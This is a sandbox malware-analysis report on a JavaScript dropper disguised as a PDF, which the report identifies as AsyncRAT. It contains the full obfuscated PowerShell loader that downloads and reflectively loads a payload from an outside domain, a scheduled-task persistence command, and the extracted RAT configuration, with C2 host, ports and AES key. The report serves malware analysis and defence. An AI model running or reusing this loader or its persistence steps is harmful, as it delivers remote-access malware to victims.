| File name: | 2025.pdf-REVISED.JS.js |
| Full analysis: | https://app.any.run/tasks/41eb09bc-c3d7-4fa6-b75c-8bc6c9cc09b1 |
| Verdict: | Malicious activity |
| Threats: | AsyncRAT is a RAT that can monitor and remotely control infected systems. This malware was introduced on Github as a legitimate open-source remote administration software, but hackers use it for its many powerful malicious functions. |
| Analysis date: | May 30, 2025, 11:11:16 |
| OS: | Windows 10 Professional (build: 19044, 64 bit) |
| Tags: | |
| Indicators: | |
| MIME: | application/javascript |
| File info: | JavaScript source, Unicode text, UTF-8 text, with very long lines (23864), with no line terminators |
| MD5: | 3F81FD18C5F3F55661CEA70F68E5BE68 |
| SHA1: | 13A70B4B2D8D17A1008F0288C9044EE1FE96A512 |
| SHA256: | 0B84557FFCB246109B37598A3A82D7E5FDD2C2871E24E16958609C3B2E69F4BD |
| SSDEEP: | 192:gRqyNNFMfcRMToHvsE3cCL6jAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA3:ni/OXDp8SRxHqDi0003 |
PID | CMD | Path | Indicators | Parent process | |||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| 2196 | C:\WINDOWS\system32\svchost.exe -k NetworkService -p -s Dnscache | C:\Windows\System32\svchost.exe | services.exe | ||||||||||||
User: NETWORK SERVICE Company: Microsoft Corporation Integrity Level: SYSTEM Description: Host Process for Windows Services Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 4108 | C:\WINDOWS\System32\slui.exe -Embedding | C:\Windows\System32\slui.exe | svchost.exe | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Activation Client Exit code: 0 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 7532 | "C:\Windows\System32\WScript.exe" C:\Users\admin\Desktop\2025.pdf-REVISED.JS.js | C:\Windows\System32\wscript.exe | — | explorer.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft ® Windows Based Script Host Exit code: 0 Version: 5.812.10240.16384 Modules
| |||||||||||||||
| 7584 | "C:\Windows\System32\cmd.exe" /c schtasks /create /sc minute /mo 10 /tn Yiywfscw /tr C:\Users\Public\Libraries\Yiywfscw.js | C:\Windows\System32\cmd.exe | — | wscript.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Command Processor Exit code: 0 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 7592 | \??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1 | C:\Windows\System32\conhost.exe | — | cmd.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Console Window Host Exit code: 0 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 7636 | "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -nop -w hidden -c "$fructificative = 'JGdhbmdidXN0ZXJzID0gJ3R4dC5jbnlzL2NLWG9ldVF6L21vYy5yYW1obGF2Ly86cHR0aCc7JHBpY2xlID0gJ2h0dHA6Ly92YWxobWFyLmNvbS9lWUZla1lKTS9naXBoeS5naWYnOyRtaWNyb2xpdGhzID0gTmV3LU9iamVjdCBTeXN0ZW0uTmV0LldlYkNsaWVudDskbWljcm9saXRocy5IZWFkZXJzLkFkZCgnVXNlci1BZ2VudCcsJ01vemlsbGEvNS4wJyk7JHRpcHVsYSA9ICRtaWNyb2xpdGhzLkRvd25sb2FkRGF0YSgkcGljbGUpOyRhcmNoZW9sb2dpc3QgPSBbU3lzdGVtLlRleHQuRW5jb2RpbmddOjpVVEY4LkdldFN0cmluZygkdGlwdWxhKTskY3liZXJzcGVlY2ggPSAnPDxzdWRvX3BuZz4+JzskZGlhbmRlciA9ICc8PHN1ZG9fb2R0Pj4nOyRiYW5pZSA9ICRhcmNoZW9sb2dpc3QuSW5kZXhPZigkY3liZXJzcGVlY2gpOyRzY29ybmZ1bCA9ICRhcmNoZW9sb2dpc3QuSW5kZXhPZigkZGlhbmRlcik7JGJhbmllIC1nZSAwIC1hbmQgJHNjb3JuZnVsIC1ndCAkYmFuaWU7JGJhbmllICs9ICRjeWJlcnNwZWVjaC5MZW5ndGg7JGNydW1taWVyID0gJHNjb3JuZnVsIC0gJGJhbmllOyRtaWxsaWxpdHJlcyA9ICRhcmNoZW9sb2dpc3QuU3Vic3RyaW5nKCRiYW5pZSwgJGNydW1taWVyKTskYXlvbmQgPSBbU3lzdGVtLkNvbnZlcnRdOjpGcm9tQmFzZTY0U3RyaW5nKCRtaWxsaWxpdHJlcyk7JHNhd2hvcnNlID0gW1N5c3RlbS5SZWZsZWN0aW9uLkFzc2VtYmx5XTo6TG9hZCgkYXlvbmQpOyRMYXZlcm5hID0gW2RubGliLklPLkhvbWVdLkdldE1ldGhvZCgnVkFJJykuSW52b2tlKCRudWxsLCBbb2JqZWN0W11dIEAoJGdhbmdidXN0ZXJzLCcnLCcnLCcnLCdNU0J1aWxkJywnJywnJywnJywnJywnQzpcVXNlcnNcUHVibGljJywnYWRkcmVzcycsJ2pzJywnJywnJywnZGlzcGxheWFibGUnLCcyJywnJykp' -replace '','';$deedless = [System.Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($fructificative));Invoke-Expression $deedless;" | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | wscript.exe | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows PowerShell Exit code: 0 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 7644 | \??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1 | C:\Windows\System32\conhost.exe | — | powershell.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Console Window Host Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 7700 | schtasks /create /sc minute /mo 10 /tn Yiywfscw /tr C:\Users\Public\Libraries\Yiywfscw.js | C:\Windows\System32\schtasks.exe | — | cmd.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Task Scheduler Configuration Tool Exit code: 0 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 7908 | "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe" | C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe | powershell.exe | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: MSBuild.exe Version: 4.8.9037.0 built by: NET481REL1 Modules
AsyncRat(PID) Process(7908) MSBuild.exe C2 (1)plausa.camdvr.org Ports (2)51027 61078 Version0.5.8 BotnetDaddy Options AutoRunfalse MutexfI4gCqVz4YK6 InstallFolder%AppData% BSoDfalse AntiVMfalse Certificates Cert1MIIE4DCCAsigAwIBAgIQAO52eH1PMHwGI+MHGfrB+zANBgkqhkiG9w0BAQ0FADARMQ8wDQYDVQQDDAZkdW5kZWUwIBcNMjUwNTI0MTQyOTI2WhgPOTk5OTEyMzEyMzU5NTlaMBExDzANBgNVBAMMBmR1bmRlZTCCAiIwDQYJKoZIhvcNAQEBBQADggIPADCCAgoCggIBAMY1Xf8UuAZoCMZ/mus1gLNzdepUkmGOqNx4uplRFKCaMsSFFt3TsGrzJfoskugD9G6e87RD5CUgDZTC1Xcok/1hfiHNk5EShdpp... Server_SignaturekiZn/v/g1rVYvIIdcpdXaPAngt/oj3TYanRdx1sOZWyzB1bq148psEj+Xu9iGqv8oLtbGNC/Qth/Kx3V3gUxkrii0CAkck92WNLQH2Xg/wDfx6sC1iN9Zle02zGD5HBJlOSHxPK9F6fljnPnrERaeh8vV9n26OMxe+2s3NEBzxoKCxu2RlYUWo3I6sh+tNbGqKHmRD5274qUyCmI5naZ4mXGW2RqQLgOVPzcp2vrxq4fPzKTjUnP4w+k83LQ42ivSXUguqtCdIZ1TcgSLZfCmFVtnLyFF5DDnVvr5zZi6Rlk... Keys AESf3bab40e44afb4ca271ce5825bd80762de2eaf61fbfd0f08c32c18dfd20174ed Saltbfeb1e56fbcd973bb219022430a57843003d5644d21e62b9d4f180e7e6c33941 | |||||||||||||||
| (PID) Process: | (7532) wscript.exe | Key: | HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows Script\Settings\Telemetry\wscript.exe |
| Operation: | write | Name: | JScriptSetScriptStateStarted |
Value: EAC1100000000000 | |||
PID | Process | Filename | Type | |
|---|---|---|---|---|
| 7532 | wscript.exe | C:\Users\Public\Libraries\Yiywfscw.js | — | |
MD5:— | SHA256:— | |||
| 7636 | powershell.exe | C:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_odhulmub.awc.ps1 | text | |
MD5:D17FE0A3F47BE24A6453E9EF58C94641 | SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7 | |||
| 7636 | powershell.exe | C:\Users\admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive | binary | |
MD5:EFEE2D7366814A9A689E32868B79F739 | SHA256:114594C7462478CC66C9A89DFA63071D0124636CE644B808C71B687E70E7457B | |||
| 7636 | powershell.exe | C:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_zkreqpsy.dtw.psm1 | text | |
MD5:D17FE0A3F47BE24A6453E9EF58C94641 | SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7 | |||
PID | Process | Method | HTTP Code | IP | URL | CN | Type | Size | Reputation |
|---|---|---|---|---|---|---|---|---|---|
5936 | RUXIMICS.exe | GET | 200 | 2.16.168.124:80 | http://crl.microsoft.com/pki/crl/products/MicRooCerAut2011_2011_03_22.crl | unknown | — | — | whitelisted |
5936 | RUXIMICS.exe | GET | 200 | 2.23.246.101:80 | http://www.microsoft.com/pkiops/crl/MicSecSerCA2011_2011-10-18.crl | unknown | — | — | whitelisted |
7636 | powershell.exe | GET | 200 | 49.12.210.130:80 | http://valhmar.com/eYFekYJM/giphy.gif | unknown | — | — | unknown |
— | — | GET | 304 | 4.175.87.197:443 | https://slscr.update.microsoft.com/SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.4046/0?CH=686&L=en-US&P=&PT=0x30&WUA=10.0.19041.3996&MK=DELL&MD=DELL | unknown | — | — | unknown |
— | — | GET | 200 | 4.175.87.197:443 | https://slscr.update.microsoft.com/SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.4046/0?CH=686&L=en-US&P=&PT=0x30&WUA=10.0.19041.3996&MK=DELL&MD=DELL | unknown | compressed | 23.9 Kb | whitelisted |
7636 | powershell.exe | GET | 200 | 49.12.210.130:80 | http://valhmar.com/zQueoXKc/sync.txt | unknown | — | — | unknown |
8000 | SIHClient.exe | GET | 200 | 2.23.181.156:80 | http://www.microsoft.com/pkiops/crl/Microsoft%20Update%20Signing%20CA%202.1.crl | unknown | — | — | whitelisted |
8000 | SIHClient.exe | GET | 200 | 2.16.168.114:80 | http://crl.microsoft.com/pki/crl/products/MicRooCerAut_2010-06-23.crl | unknown | — | — | whitelisted |
8000 | SIHClient.exe | GET | 200 | 2.23.181.156:80 | http://www.microsoft.com/pkiops/crl/Microsoft%20ECC%20Update%20Signing%20CA%202.1.crl | unknown | — | — | whitelisted |
8000 | SIHClient.exe | GET | 200 | 2.16.168.114:80 | http://crl.microsoft.com/pki/crl/products/MicTimStaPCA_2010-07-01.crl | unknown | — | — | whitelisted |
PID | Process | IP | Domain | ASN | CN | Reputation |
|---|---|---|---|---|---|---|
4 | System | 192.168.100.255:137 | — | — | — | whitelisted |
5936 | RUXIMICS.exe | 51.124.78.146:443 | settings-win.data.microsoft.com | MICROSOFT-CORP-MSN-AS-BLOCK | NL | whitelisted |
— | — | 51.124.78.146:443 | settings-win.data.microsoft.com | MICROSOFT-CORP-MSN-AS-BLOCK | NL | whitelisted |
4 | System | 192.168.100.255:138 | — | — | — | whitelisted |
5936 | RUXIMICS.exe | 2.16.168.124:80 | crl.microsoft.com | Akamai International B.V. | RU | whitelisted |
5936 | RUXIMICS.exe | 2.23.246.101:80 | www.microsoft.com | Ooredoo Q.S.C. | QA | whitelisted |
3216 | svchost.exe | 172.211.123.248:443 | client.wns.windows.com | MICROSOFT-CORP-MSN-AS-BLOCK | FR | whitelisted |
7636 | powershell.exe | 49.12.210.130:80 | valhmar.com | Hetzner Online GmbH | DE | unknown |
7908 | MSBuild.exe | 193.187.91.99:51027 | plausa.camdvr.org | Obehosting AB | SE | unknown |
8000 | SIHClient.exe | 20.12.23.50:443 | slscr.update.microsoft.com | MICROSOFT-CORP-MSN-AS-BLOCK | US | whitelisted |
Domain | IP | Reputation |
|---|---|---|
settings-win.data.microsoft.com |
| whitelisted |
google.com |
| whitelisted |
crl.microsoft.com |
| whitelisted |
www.microsoft.com |
| whitelisted |
client.wns.windows.com |
| whitelisted |
valhmar.com |
| unknown |
plausa.camdvr.org |
| unknown |
slscr.update.microsoft.com |
| whitelisted |
fe3cr.delivery.mp.microsoft.com |
| whitelisted |
activation-v2.sls.microsoft.com |
| whitelisted |
PID | Process | Class | Message |
|---|---|---|---|
7636 | powershell.exe | Misc activity | INFO [ANY.RUN] USER_AGENTS Suspicious User-Agent (Mozilla/5.0) |
2196 | svchost.exe | Potentially Bad Traffic | ET DYN_DNS DYNAMIC_DNS Query to a *.camdvr .org Domain |
2196 | svchost.exe | Potentially Bad Traffic | ET DYN_DNS DYNAMIC_DNS Query to a *.camdvr .org Domain |